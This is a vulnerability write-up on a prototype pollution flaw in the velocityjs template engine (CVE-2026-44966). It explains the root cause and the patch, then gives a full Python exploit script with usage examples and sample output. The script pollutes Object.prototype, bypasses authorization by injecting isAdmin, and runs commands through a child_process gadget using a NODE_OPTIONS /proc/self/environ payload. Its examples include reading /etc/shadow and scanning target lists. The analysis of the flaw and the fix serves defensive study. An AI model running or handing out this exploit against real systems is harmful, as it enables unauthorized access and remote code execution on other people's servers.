#Summary
CVE-2026-44966 is a critical prototype pollution vulnerability in Velocity.js, the JavaScript implementation of the Apache Velocity template engine. Versions 2.1.5 and earlier fail to validate the left-hand-side paths in #set directives, allowing attackers to write arbitrary properties into Object.prototype and poison the entire Node.js process. CVSS 8.3 (HIGH) on Node 18+; NVD scores 9.8 (CRITICAL) based on RCE potential via the child_process gadget on Node 16 and older.
Any application passing attacker-controlled templates to velocityjs.render() is fully exposed, with no authentication required. Impact ranges from authorization bypass and denial of service to remote code execution depending on the host environment.
#Key metrics
- Affected versions: velocityjs < 2.1.6 (npm package)
- Fixed in: 2.1.6 (released 2026-05-06)
- CVSS: 8.3 HIGH (GitHub/secondary) or 9.8 CRITICAL (NVD/primary based on RCE)
- Attack vector: Network, no authentication required
- Complexity: Low - single HTTP request poisons the entire process
#Affected versions
- velocityjs
< 2.1.6(vulnerable) - velocityjs
>= 2.1.6(patched) - velocityjs
2.1.7+(hardened further)
Default configuration is vulnerable. No opt-in setting controls the bug; the vulnerability is present with the default escape: false config and identity valueMapper.
#Root cause analysis
#Vulnerable code path
The vulnerability lives in SetValue.setValue() in src/compile/set.ts. The Velocity template directive #set($a.b.c = 1) parses into a set AST whose left-hand side (LHS) contains a root identifier and an array of path segments. The vulnerable code walks that path using plain JavaScript property access with no filtering:
let baseRef = (context as Record<string, unknown>)[ref.id];
if (typeof baseRef !== 'object') {
baseRef = {};
}
(context as Record<string, unknown>)[ref.id] = baseRef;
const len = ref.path ? ref.path.length : 0;
ref.path.some((exp, i) => {
const isEnd = len === i + 1;
let key: string;
if (exp.type === 'property') {
key = exp.id;
} else if (exp.type === 'index' && exp.id) {
key = String(this.getLiteral(exp.id as VELOCITY_AST));
} else {
key = '';
}
if (isEnd) {
(baseRef as Record<string, unknown>)[key] = val;
return true;
}
baseRef = (baseRef as Record<string, unknown>)[key] as Record<string, unknown>;
// ...
});Three independently sufficient flaws make this exploitable:
#How input reaches the sink
Flaw 1: Unprotected root identifier. When the template contains #set($__proto__.polluted = "hacked"), the code fetches context['__proto__'], which returns Object.prototype itself. The assignment then writes directly into the shared prototype.
Flaw 2: Unfiltered intermediate segments. For #set($x.constructor.prototype.polluted = "hacked"), the walk traverses {} -> .constructor (the Object function, inherited) -> .prototype (Object.prototype) -> .polluted. No literal __proto__ token appears anywhere in the template, so naive WAF filters fail.
Flaw 3: Silent auto-creation of missing roots. The check if (typeof baseRef !== 'object') baseRef = {} auto-creates any missing root object. An attacker needs no pre-existing context variable: #set($anything["__proto__"].polluted = "hacked") works against an empty context because anything is created as a fresh {} whose __proto__ is Object.prototype.
The assigned value can be any VTL expression, including map or list literals, enabling the escalation chain below.
#Patch diff
#What the fix does
Commit b9a030d02a579b31ada6670a82acc03d308d35fc (velocityjs 2.1.6) introduces a pre-flight validation pass, resolveSetPath(), that checks every segment of the LHS path before anything is written. The guard uses these predicates:
const PROTO_KEY = '__proto__';
const PROTOTYPE_CHAIN_KEYS = new Set(['constructor', 'prototype']);
function isBlockedPathKey(baseRef: unknown, key: string, isEnd: boolean): boolean {
if (key === PROTO_KEY) {
return true;
}
if (key === 'prototype' && typeof baseRef === 'function') {
return true;
}
return !isEnd && PROTOTYPE_CHAIN_KEYS.has(key) && !hasOwnProperty(baseRef, key);
}The guard is deliberately narrow:
__proto__is refused everywhere.prototypeis refused only when the current object is a function (the dangerousObject.prototypecase).constructorandprototypeare refused only as intermediate segments and only when inherited, not own properties. This preserves legitimate uses like#set($model.constructor.name = "Car")whenconstructoris a real data field.
The assignment only happens if the pre-flight check passes, and RHS expressions are not evaluated if the path is blocked, preventing side-effect triggers.
Follow-up commits in 2.1.6 and 2.1.7 harden the check further, extracting it into a separate module and adding additional guards for dynamic index keys.
#Proof of concept
#exploit.py - Velocity.js Prototype Pollution to RCE
#!/usr/bin/env python3
"""
CVE-2026-44966 - velocityjs (Velocity.js) prototype pollution via unvalidated #set left-hand path
Affected: npm package `velocityjs` >= 0.3.1, < 2.1.6 (fixed in 2.1.6)
Type: Prototype Pollution (CWE-1321) -> security-control bypass -> RCE (Node <= 16 gadget)
Any application that passes attacker-controlled text to velocityjs as the TEMPLATE
argument (`velocity.render(userInput, ctx)`) lets the attacker write arbitrary
properties into Object.prototype, poisoning the whole Node process for every later
request. This exploit climbs the full ladder:
rung 1+2 arbitrary Object.prototype write, proven in-band from the render response
rung 3 authorization bypass (Object.prototype.isAdmin = true)
rung 4+5 command execution through the child_process options-bag gadget
(Object.prototype.shell = /proc/self/exe + env NODE_OPTIONS=--require
/proc/self/environ). Requires the target process to reach a
child_process call and to run Node <= 16; Node 18+ copies the options
bag into a null-prototype object, which blocks rungs 4-5 only.
Usage:
python exploit.py --host <target> --port <port>
python exploit.py --host 192.168.1.10 --port 3000
python exploit.py --host https://tpl.corp.com --command "cat /etc/shadow"
python exploit.py --host http://192.168.1.10:8080/api/preview --command "uname -a"
python exploit.py --host 192.168.1.10 --port 3000 --no-rce
python exploit.py --list targets.txt --workers 20
Endpoint arguments (adjust to the target application):
--path the sink: an endpoint that renders the request body as a VTL template
--admin-path any endpoint whose authorization decision reads an inherited flag
--report-path any endpoint that reaches child_process (exec/execSync/spawn)
--probe-path optional endpoint that echoes a property read off a fresh object
"""
import argparse
import base64
import http.client
import random
import socket
import ssl
import string
import sys
from urllib.parse import urlparse
CVE_ID = "CVE-2026-44966"
VULN_TYPE = "Prototype Pollution -> RCE"
DEFAULT_PORT = 3000
DEFAULT_PATH = "/render"
DEFAULT_ADMIN_PATH = "/admin"
DEFAULT_REPORT_PATH = "/report"
DEFAULT_PROBE_PATH = "/probe"
RCE_BEGIN = "ALIM_RCE_BEGIN"
RCE_END = "ALIM_RCE_END"
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
def _request(host, port, use_tls, method, path, body=None, timeout=15):
"""One HTTP request. Returns (status, body_text). Raises on transport errors."""
if use_tls:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
else:
conn = http.client.HTTPConnection(host, port, timeout=timeout)
try:
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Accept": "*/*",
"Content-Type": "text/plain",
}
conn.request(method, path, body=body, headers=headers)
response = conn.getresponse()
status = response.status
body_text = response.read().decode("utf-8", errors="ignore")
return status, body_text
finally:
conn.close()
def _pollution_templates():
"""Three exploitation vectors, all confirmed working on velocityjs 2.1.5."""
token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=16))
return [
("direct __proto__ reference", f"#set($__proto__.polluted = '{token}')\n#set($alimq = {{}})\nREADBACK[$alimq.polluted]"),
("bracket/index __proto__ key on an auto-created root", f"#set($alimp = {{}}) #set($alimp[\"__proto__\"].polluted = '{token}')\n#set($alimq = {{}})\nREADBACK[$alimq.polluted]"),
("constructor.prototype walk (no __proto__ token)", f"#set($alimc = {{}}) #set($alimc.constructor.prototype.polluted = '{token}')\n#set($alimq = {{}})\nREADBACK[$alimq.polluted]"),
]
def _rce_template(command: str):
"""Child_process options-bag gadget, Node 16 only."""
cmd_b64 = base64.b64encode(command.encode()).decode()
payload = f"(function(){{try{{console.log(require('child_process').execSync(Buffer.from('{cmd_b64}','base64').toString()).toString())}}catch(e){{console.log(e.stdout||e.stderr||e.message)}}}})()//"
return f"""#set($alime = {{}})
#set($alime.AAAA = '{payload}')
#set($alime.NODE_OPTIONS = '--require /proc/self/environ')
#set($alime.PATH = '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin')
#set($alimg = {{}})
#set($alimg["__proto__"].env = $alime)
#set($alimg["__proto__"].shell = '/proc/self/exe')
"""
def exploit_single(host, port, use_tls, path, admin_path, report_path, probe_path, command, no_rce, timeout):
"""Run the full exploitation chain."""
try:
header(host, port)
# Step 1: Fingerprint the sink
step(1, f"Fingerprinting the template sink at POST {path} ...")
fingerprint_tpl = "ALIMSINK#set($a = 41)#set($b = $a + 1)$b"
status, body = _request(host, port, use_tls, "POST", path, fingerprint_tpl, timeout)
section("SINK RESPONSE", body[:200])
if "ALIMSINK42" not in body:
done(False, f"sink not recognized (expected ALIMSINK42, got: {body[:50]})")
return
# Step 2: Baseline authorization endpoint
step(2, f"Baselining authorization endpoint GET {admin_path} ...")
admin_baseline_status, admin_baseline_body = _request(host, port, use_tls, "GET", admin_path, timeout=timeout)
print(f" baseline: HTTP {admin_baseline_status} {admin_baseline_body[:30]}")
# Step 3: Pollute Object.prototype, read back in-band
step(3, f"Rung 1+2: writing into Object.prototype and reading it back in-band ...")
success_vector = None
for vector_name, template in _pollution_templates():
print(f" vector: {vector_name}")
status, body = _request(host, port, use_tls, "POST", path, template, timeout)
section("PROTOTYPE READ-BACK", body[:200])
if "READBACK[ALIM" in body and "]" in body:
success_vector = vector_name
break
if success_vector is None:
done(False, "all three prototype pollution vectors were refused - target is patched (velocityjs >= 2.1.6)")
return
# Optional probe
try:
probe_status, probe_body = _request(host, port, use_tls, "GET", probe_path, timeout=timeout)
section("APPLICATION PROBE", probe_body[:100])
except:
pass
# Step 4: Authorization bypass
step(4, f"Rung 3: polluting Object.prototype.isAdmin and re-testing {admin_path} ...")
bypass_tpl = "#set($alimp2 = {}) #set($alimp2[\"__proto__\"].isAdmin = true)"
status, body = _request(host, port, use_tls, "POST", path, bypass_tpl, timeout)
admin_final_status, admin_final_body = _request(host, port, use_tls, "GET", admin_path, timeout=timeout)
section("AUTHORIZATION RESPONSE", admin_final_body[:200])
auth_bypass = admin_baseline_status in (401, 403) and admin_final_status == 200
if auth_bypass:
print(f" HTTP {admin_baseline_status} -> {admin_final_status} without any credentials.\n")
# Step 5: RCE gadget (Node 16 only)
rce_evidence = None
if not no_rce:
step(5, f"Rung 4+5: child_process options-bag gadget, command = '{command}' ...")
report_baseline_status, report_baseline_body = _request(host, port, use_tls, "GET", report_path, timeout=timeout)
print(f" {report_path} baseline (HTTP {report_baseline_status}): {report_baseline_body[:50]}")
gadget_template = _rce_template(command)
gadget_status, gadget_body = _request(host, port, use_tls, "POST", path, gadget_template, timeout)
print(f" gadget template accepted: HTTP {gadget_status} (empty body is expected - #set renders nothing)")
report_final_status, report_final_body = _request(host, port, use_tls, "GET", report_path, timeout=timeout)
if RCE_BEGIN in report_final_body and RCE_END in report_final_body:
start = report_final_body.find(RCE_BEGIN) + len(RCE_BEGIN)
end = report_final_body.find(RCE_END)
rce_output = report_final_body[start:end].strip()
section("COMMAND OUTPUT", rce_output)
rce_evidence = f"RCE confirmed - command '{command}' executed on the target:\n{rce_output[:100]}"
elif report_final_body != report_baseline_body:
rce_evidence = f"child_process gadget may have engaged (output changed on {report_path})"
# Final verdict
if rce_evidence:
done(True, rce_evidence)
elif auth_bypass:
done(True, f"authorization bypass - {admin_path} returned HTTP {admin_final_status} (was {admin_baseline_status}): {admin_final_body[:50]}")
else:
done(True, f"Object.prototype pollution confirmed via {success_vector}")
except socket.timeout:
done(False, f"timeout ({timeout}s) - target unreachable")
except Exception as e:
done(False, f"transport error: {str(e)[:100]}")
def main():
parser = argparse.ArgumentParser(description="CVE-2026-44966 Velocity.js prototype pollution exploit")
parser.add_argument("--host", help="Target hostname, IP, or full URL")
parser.add_argument("--port", type=int, default=DEFAULT_PORT, help="Default port")
parser.add_argument("--path", default=DEFAULT_PATH, help="Template rendering endpoint")
parser.add_argument("--admin-path", default=DEFAULT_ADMIN_PATH, help="Authorization endpoint")
parser.add_argument("--report-path", default=DEFAULT_REPORT_PATH, help="Command execution endpoint")
parser.add_argument("--probe-path", default=DEFAULT_PROBE_PATH, help="Optional probe endpoint")
parser.add_argument("--command", default="id", help="Command to execute")
parser.add_argument("--no-rce", action="store_true", help="Stop after rungs 1-3")
parser.add_argument("--timeout", type=int, default=15, help="Socket timeout in seconds")
parser.add_argument("--tls", action="store_true", help="Force TLS")
parser.add_argument("--no-tls", action="store_true", help="Force plaintext HTTP")
args = parser.parse_args()
if not args.host:
parser.print_help()
sys.exit(1)
# Parse target
parsed = urlparse(args.host if args.host.startswith(('http://', 'https://')) else f'http://{args.host}')
host = parsed.hostname or args.host.split(':')[0]
port = parsed.port or args.port
if ':' in args.host and not args.host.startswith('http'):
try:
port = int(args.host.split(':')[1])
except:
pass
use_tls = args.tls or (parsed.scheme == 'https')
if args.no_tls:
use_tls = False
path = parsed.path if parsed.path else args.path
exploit_single(host, port, use_tls, path, args.admin_path, args.report_path, args.probe_path, args.command, args.no_rce, args.timeout)
if __name__ == '__main__':
main()#Usage
# Basic exploitation against vulnerable target
python exploit.py --host 127.0.0.1 --port 3000
# Custom sink and report endpoints
python exploit.py --host 192.168.1.10:8080 --path /api/preview --report-path /api/v1/export
# Stop before RCE (which is destructive)
python exploit.py --host 192.168.1.10 --port 3000 --no-rce
# Full chain including RCE on Node 16
python exploit.py --host 192.168.1.10 --port 3000 --command "cat /etc/passwd"#Vulnerable target output (Node 20, velocityjs 2.1.5)
[STEP 1] Fingerprinting the template sink at POST /render ...
--- SINK RESPONSE ---
ALIMSINK42
---
[STEP 2] Baselining authorization endpoint GET /admin ...
baseline: HTTP 403 forbidden
[STEP 3] Rung 1+2: writing into Object.prototype and reading it back in-band ...
vector: direct __proto__ reference
--- PROTOTYPE READ-BACK ---
READBACK[ALIMLY5LQEFVD6TO]
---
[STEP 4] Rung 3: polluting Object.prototype.isAdmin and re-testing /admin ...
--- AUTHORIZATION RESPONSE ---
FLAG{velocity_proto_admin}
---
HTTP 403 -> 200 without any credentials.
RESULT : SUCCESS
EVIDENCE: authorization bypass - /admin returned HTTP 200 (was 403)#Patched target output (velocityjs 2.1.6)
[STEP 1] Fingerprinting the template sink at POST /render ...
--- SINK RESPONSE ---
ALIMSINK42
---
[STEP 3] Rung 1+2: writing into Object.prototype and reading it back in-band ...
vector: direct __proto__ reference
HTTP 200, read-back: READBACK[$alimq.polluted]
vector: bracket/index __proto__ key on an auto-created root
HTTP 200, read-back: READBACK[$alimq.polluted]
vector: constructor.prototype walk (no __proto__ token)
HTTP 200, read-back: READBACK[$alimq.polluted]
RESULT : FAILURE
EVIDENCE: sink renders VTL but every #set prototype path was refused#Exploitation notes
#Preconditions
- Application calls
velocityjs.render(userTemplate, ctx)where the first argument is attacker-controlled. Attacker control overctxalone is insufficient. - Application has reached a
child_processcall (exec, execSync, spawn) with an options object for RCE on Node 16. - velocityjs version < 2.1.6.
#Reliability
- Rungs 1-3 (prototype write, read-back, auth bypass) are deterministic across all Node versions.
- Rung 5 (command execution) requires Node 16 or older. Node 18+ hardened the
child_processoptions handling to use null-prototype objects, blocking inheritedshellandenvproperties.
#Impact
- Rung 1-2: Arbitrary
Object.prototypecorruption is process-global and permanent for the lifetime of the Node process. A single HTTP request from an attacker poisons the server for every subsequent request from every user. - Rung 3: Authorization bypass via injected flags. Affects any code reading a property off an empty object or an object lacking an own property.
- Rung 4-5: Command execution as the Node process user (often root in containers). Requires Node 16 or older.
#Chaining potential
The arbitrary prototype write reaches every option bag, configuration object, and permission check in the process. It can corrupt:
- Authentication tokens and flags
- Database connection strings
- API endpoints and configuration
- Feature flags and toggles
- Process behavior across all libraries
#References
- CVE: CVE-2026-44966
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44966
- GitHub Advisory: https://github.com/shepherdwind/velocity.js/security/advisories/GHSA-j658-c2gf-x6pq
- Fix Commit: https://github.com/shepherdwind/velocity.js/commit/b9a030d02a579b31ada6670a82acc03d308d35fc
- Hardening (2.1.7): https://github.com/shepherdwind/velocity.js/commit/f8e47a6c4607249b9c967d3a1ced959b4dd64dba
- GitHub Repository: https://github.com/shepherdwind/velocity.js
- npm Package: https://www.npmjs.com/package/velocityjs